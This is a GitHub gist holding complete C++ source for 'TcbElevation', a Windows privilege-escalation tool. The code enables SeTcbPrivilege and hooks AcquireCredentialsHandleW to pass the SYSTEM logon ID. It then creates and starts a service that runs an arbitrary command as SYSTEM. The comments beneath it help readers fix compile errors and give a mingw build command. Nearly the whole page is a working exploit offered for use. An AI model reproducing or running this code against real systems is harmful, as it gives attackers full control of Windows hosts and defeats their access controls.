Skip to content

Instantly share code, notes, and snippets.

@antonioCoco
Last active February 5, 2026 14:27
Show Gist options
  • Select an option

  • Save antonioCoco/19563adef860614b56d010d92e67d178 to your computer and use it in GitHub Desktop.

Select an option

Save antonioCoco/19563adef860614b56d010d92e67d178 to your computer and use it in GitHub Desktop.
// TcbElevation - Authors: @splinter_code and @decoder_it
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#pragma comment(lib, "Secur32.lib")
void EnableTcbPrivilege(BOOL enforceCheck);
BOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege);
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(LPWSTR pszPrincipal, LPWSTR pszPackage, unsigned long fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);
int wmain(int argc, wchar_t** argv)
{
if (argc < 3) {
printf("usage: TcbElevation.exe [ServiceName] [CmdLine]\n");
exit(-1);
}
EnableTcbPrivilege(TRUE);
PSecurityFunctionTableW table = InitSecurityInterfaceW();
table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook; // SSPI hooks trick borrowed from @tiraniddo --> https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82
wchar_t* serviceName = argv[1];
wchar_t* cmdline = argv[2];
SC_HANDLE hScm = OpenSCManagerW(L"127.0.0.1", nullptr, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (!hScm)
{
printf("Error opening SCM %d\n", GetLastError());
return 1;
}
SC_HANDLE hService = CreateService(hScm, serviceName, nullptr, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, cmdline, nullptr, nullptr, nullptr, nullptr, nullptr);
if (!hService)
{
printf("Error creating service %d\n", GetLastError());
return 1;
}
if (!StartService(hService, 0, nullptr))
{
printf("Error starting service %d\n", GetLastError());
return 1;
}
return 0;
}
BOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
PRIVILEGE_SET privs;
LUID luid;
BOOL debugPrivEnabled = FALSE;
if (!LookupPrivilegeValueW(NULL, lpszPrivilege, &luid))
{
printf("LookupPrivilegeValueW() failed, error %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
printf("AdjustTokenPrivileges() failed, error %u\n", GetLastError());
return FALSE;
}
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Luid = luid;
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!PrivilegeCheck(hToken, &privs, &debugPrivEnabled)) {
printf("PrivilegeCheck() failed, error %u\n", GetLastError());
return FALSE;
}
if (!debugPrivEnabled)
return FALSE;
return TRUE;
}
void EnableTcbPrivilege(BOOL enforceCheck) {
HANDLE currentProcessToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);
BOOL setPrivilegeSuccess = SetPrivilege(currentProcessToken, (wchar_t*)L"SeTcbPrivilege", TRUE);
if (enforceCheck && !setPrivilegeSuccess) {
printf("No SeTcbPrivilege in the token. Exiting...\n");
exit(-1);
}
CloseHandle(currentProcessToken);
}
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(LPWSTR pszPrincipal, LPWSTR pszPackage, unsigned long fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry)
{
LUID logonId;
ZeroMemory(&logonId, sizeof(LUID));
logonId.LowPart = 0x3E7; // here we do the Tcb magic using the SYSTEM LUID in pvLogonId of AcquireCredentialsHandleW call
return AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse, &logonId, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry);
}
@johnjohnsp1
Copy link
Copy Markdown

hi!,
trying to compile the code with VS2022 as a new project with existing code but getting this error:

Severity Code Description Project File Line Suppression State
Error C2664 'SC_HANDLE CreateServiceA(SC_HANDLE,LPCSTR,LPCSTR,DWORD,DWORD,DWORD,DWORD,LPCSTR,LPCSTR,LPDWORD,LPCSTR,LPCSTR,LPCSTR)': cannot convert argument 2 from 'wchar_t *' to 'LPCSTR' tcbeleva C:\temp\tcbe\main.cpp 36  

any ideas ?
thanks

@antonioCoco
Copy link
Copy Markdown
Author

Use the Wide version of the function by explicitly using CreateServiceW() and not CreateServiceA().

Otherwise, define the Unicode constant at the top of the source:

#define UNICODE 1

@johnjohnsp1
Copy link
Copy Markdown

it works, thanks much!

@0xUnd3adBeef
Copy link
Copy Markdown

Thanks a lot !!

@x0Mo3tAsmx0
Copy link
Copy Markdown

-> For those who are facing issues when compiling the source code.

  1. Add the following add the top of the source code
#define UNICODE 1
#define _UNICODE 1
  1. Compile it using the following command:
    x86_64-w64-mingw32-g++ -o TcbElevation.exe TcbElevation.cpp -static -ladvapi32 -lsecur32 -lkernel32 -DUNICODE -D_UNICODE -municode

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment